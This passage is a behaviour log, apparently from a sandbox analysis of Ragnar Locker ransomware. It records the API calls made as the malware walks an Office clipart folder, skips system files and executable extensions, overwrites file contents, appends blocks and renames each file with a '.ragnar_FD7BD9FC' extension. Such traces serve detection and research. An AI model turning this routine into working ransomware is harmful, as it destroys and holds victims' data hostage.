Office\\CLIPART\\PUB60COR\\INDST_01.MID" [0082.784] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID.ragnar_FD7BD9FC" [0082.784] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\indst_01.mid"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\indst_01.mid.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.784] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d9b0900, ftCreationTime.dwHighDateTime=0x1bd6360, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d9b0900, ftLastWriteTime.dwHighDateTime=0x1bd6360, nFileSizeHigh=0x0, nFileSizeLow=0x4c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0075478.GIF", cAlternateFileName="")) returned 1 [0082.784] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.784] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0075478.GIF" | out: lpString1="J0075478.GIF") returned="J0075478.GIF" [0082.784] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF") returned=".GIF" [0082.784] lstrcmpiW (lpString1="J0075478.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.784] lstrcmpiW (lpString1="J0075478.GIF", lpString2="autorun.inf") returned 1 [0082.784] lstrcmpiW (lpString1="J0075478.GIF", lpString2="boot.ini") returned 1 [0082.784] lstrcmpiW (lpString1="J0075478.GIF", lpString2="bootfont.bin") returned 1 [0082.784] lstrcmpiW (lpString1="J0075478.GIF", lpString2="bootsect.bak") returned 1 [0082.784] lstrcmpiW (lpString1="J0075478.GIF", lpString2="bootmgr") returned 1 [0082.784] lstrcmpiW (lpString1="J0075478.GIF", lpString2="bootmgr.efi") returned 1 [0082.784] lstrcmpiW (lpString1="J0075478.GIF", lpString2="bootmgfw.efi") returned 1 [0082.784] lstrcmpiW (lpString1="J0075478.GIF", lpString2="desktop.ini") returned 1 [0082.784] lstrcmpiW (lpString1="J0075478.GIF", lpString2="iconcache.db") returned 1 [0082.784] lstrcmpiW (lpString1="J0075478.GIF", lpString2="ntldr") returned -1 [0082.785] lstrcmpiW (lpString1="J0075478.GIF", lpString2="ntuser.dat") returned -1 [0082.785] lstrcmpiW (lpString1="J0075478.GIF", lpString2="ntuser.dat.log") returned -1 [0082.785] lstrcmpiW (lpString1="J0075478.GIF", lpString2="ntuser.ini") returned -1 [0082.785] lstrcmpiW (lpString1="J0075478.GIF", lpString2="thumbs.db") returned -1 [0082.785] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0082.785] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0082.785] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0082.785] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0082.785] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0082.785] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0082.785] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0082.785] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0075478.gif")) returned 0x20 [0082.786] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0075478.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.786] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=1220) returned 1 [0082.786] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4bb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.786] GetProcessHeap () returned 0x580000 [0082.786] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.786] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.787] VirtualAlloc (lpAddress=0x0, dwSize=0x4c4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.788] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.788] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.788] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x4c4, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x4c4, lpOverlapped=0x0) returned 1 [0082.788] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.788] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4c4, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.788] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x4c4, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x4c4, lpOverlapped=0x0) returned 1 [0082.788] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4c4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.788] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.788] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.788] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.788] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.788] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.789] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.789] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.789] GetProcessHeap () returned 0x580000 [0082.789] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.789] CloseHandle (hObject=0xf4) returned 1 [0082.789] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF" [0082.789] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF.ragnar_FD7BD9FC" [0082.789] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0075478.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0075478.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.789] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2606, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0086384.WMF", cAlternateFileName="")) returned 1 [0082.789] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.790] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0086384.WMF" | out: lpString1="J0086384.WMF") returned="J0086384.WMF" [0082.790] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF") returned=".WMF" [0082.790] lstrcmpiW (lpString1="J0086384.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.790] lstrcmpiW (lpString1="J0086384.WMF", lpString2="autorun.inf") returned 1 [0082.790] lstrcmpiW (lpString1="J0086384.WMF", lpString2="boot.ini") returned 1 [0082.790] lstrcmpiW (lpString1="J0086384.WMF", lpString2="bootfont.bin") returned 1 [0082.790] lstrcmpiW (lpString1="J0086384.WMF", lpString2="bootsect.bak") returned 1 [0082.790] lstrcmpiW (lpString1="J0086384.WMF", lpString2="bootmgr") returned 1 [0082.790] lstrcmpiW (lpString1="J0086384.WMF", lpString2="bootmgr.efi") returned 1 [0082.790] lstrcmpiW (lpString1="J0086384.WMF", lpString2="bootmgfw.efi") returned 1 [0082.790] lstrcmpiW (lpString1="J0086384.WMF", lpString2="desktop.ini") returned 1 [0082.790] lstrcmpiW (lpString1="J0086384.WMF", lpString2="iconcache.db") returned 1 [0082.790] lstrcmpiW (lpString1="J0086384.WMF", lpString2="ntldr") returned -1 [0082.790] lstrcmpiW (lpString1="J0086384.WMF", lpString2="ntuser.dat") returned -1 [0082.790] lstrcmpiW (lpString1="J0086384.WMF", lpString2="ntuser.dat.log") returned -1 [0082.790] lstrcmpiW (lpString1="J0086384.WMF", lpString2="ntuser.ini") returned -1 [0082.790] lstrcmpiW (lpString1="J0086384.WMF", lpString2="thumbs.db") returned -1 [0082.790] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.790] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.790] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.790] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.790] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.790] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.790] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.790] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086384.wmf")) returned 0x20 [0082.791] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086384.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.791] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=9734) returned 1 [0082.791] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x25fd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.791] GetProcessHeap () returned 0x580000 [0082.791] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.791] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.793] VirtualAlloc (lpAddress=0x0, dwSize=0x2606, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.793] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.793] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.793] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2606, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2606, lpOverlapped=0x0) returned 1 [0082.794] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.794] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2606, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.794] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2606, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2606, lpOverlapped=0x0) returned 1 [0082.794] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2606, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.795] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.795] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2606, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.795] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.795] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.795] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.795] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.795] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.795] GetProcessHeap () returned 0x580000 [0082.795] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.795] CloseHandle (hObject=0xf4) returned 1 [0082.795] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF" [0082.795] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF.ragnar_FD7BD9FC" [0082.795] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086384.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086384.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.796] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x257c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0086420.WMF", cAlternateFileName="")) returned 1 [0082.796] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.796] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0086420.WMF" | out: lpString1="J0086420.WMF") returned="J0086420.WMF" [0082.796] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF") returned=".WMF" [0082.796] lstrcmpiW (lpString1="J0086420.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.796] lstrcmpiW (lpString1="J0086420.WMF", lpString2="autorun.inf") returned 1 [0082.796] lstrcmpiW (lpString1="J0086420.WMF", lpString2="boot.ini") returned 1 [0082.796] lstrcmpiW (lpString1="J0086420.WMF", lpString2="bootfont.bin") returned 1 [0082.796] lstrcmpiW (lpString1="J0086420.WMF", lpString2="bootsect.bak") returned 1 [0082.796] lstrcmpiW (lpString1="J0086420.WMF", lpString2="bootmgr") returned 1 [0082.796] lstrcmpiW (lpString1="J0086420.WMF", lpString2="bootmgr.efi") returned 1 [0082.796] lstrcmpiW (lpString1="J0086420.WMF", lpString2="bootmgfw.efi") returned 1 [0082.796] lstrcmpiW (lpString1="J0086420.WMF", lpString2="desktop.ini") returned 1 [0082.796] lstrcmpiW (lpString1="J0086420.WMF", lpString2="iconcache.db") returned 1 [0082.796] lstrcmpiW (lpString1="J0086420.WMF", lpString2="ntldr") returned -1 [0082.796] lstrcmpiW (lpString1="J0086420.WMF", lpString2="ntuser.dat") returned -1 [0082.796] lstrcmpiW (lpString1="J0086420.WMF", lpString2="ntuser.dat.log") returned -1 [0082.796] lstrcmpiW (lpString1="J0086420.WMF", lpString2="ntuser.ini") returned -1 [0082.796] lstrcmpiW (lpString1="J0086420.WMF", lpString2="thumbs.db") returned -1 [0082.796] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.796] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.797] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.797] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.797] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.797] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.797] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.797] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086420.wmf")) returned 0x20 [0082.797] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086420.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.797] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=9596) returned 1 [0082.797] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2573, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.797] GetProcessHeap () returned 0x580000 [0082.797] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.797] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.799] VirtualAlloc (lpAddress=0x0, dwSize=0x257c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.799] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.799] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.799] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x257c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x257c, lpOverlapped=0x0) returned 1 [0082.800] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.800] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x257c, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.800] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x257c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x257c, lpOverlapped=0x0) returned 1 [0082.800] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x257c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.800] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.800] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x257c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.800] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.801] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.801] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.801] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.801] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.801] GetProcessHeap () returned 0x580000 [0082.801] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.801] CloseHandle (hObject=0xf4) returned 1 [0082.801] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF" [0082.801] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF.ragnar_FD7BD9FC" [0082.801] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086420.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086420.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.802] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, 